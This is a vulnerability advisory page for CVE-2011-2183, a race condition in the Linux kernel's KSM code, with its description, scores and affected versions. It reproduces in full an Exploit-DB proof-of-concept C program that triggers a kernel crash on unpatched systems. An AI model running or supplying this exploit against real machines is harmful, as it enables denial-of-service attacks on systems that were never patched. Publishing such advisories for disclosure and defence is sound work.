CVE-2011-2183 : Detail

CVE-2011-2183

0.05%V3
Local
2012-06-13
10h00 +00:00
2012-06-13
10h00 +00:00
CVE.org
NVD
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CVE Descriptions

Race condition in the scan_get_next_rmap_item function in mm/ksm.c in the Linux kernel before 2.6.39.3, when Kernel SamePage Merging (KSM) is enabled, allows local users to cause a denial of service (NULL pointer dereference) or possibly have unspecified other impact via a crafted application.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:L/AC:H/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35820

Publication date : 2011-06-01 22h00 +00:00
Author : Andrea Righi
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/48101/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #define BUFSIZE getpagesize() int main(int argc, char **argv) { void *ptr; if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) { perror("posix_memalign"); exit(1); } if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) { perror("madvise"); exit(1); } *(char *)NULL = 0; return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.39.2

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39

Linux>>Linux_kernel >> Version 2.6.39.1

References

http://www.openwall.com/lists/oss-security/2011/06/06/1
Tags : mailing-list, x_refsource_MLIST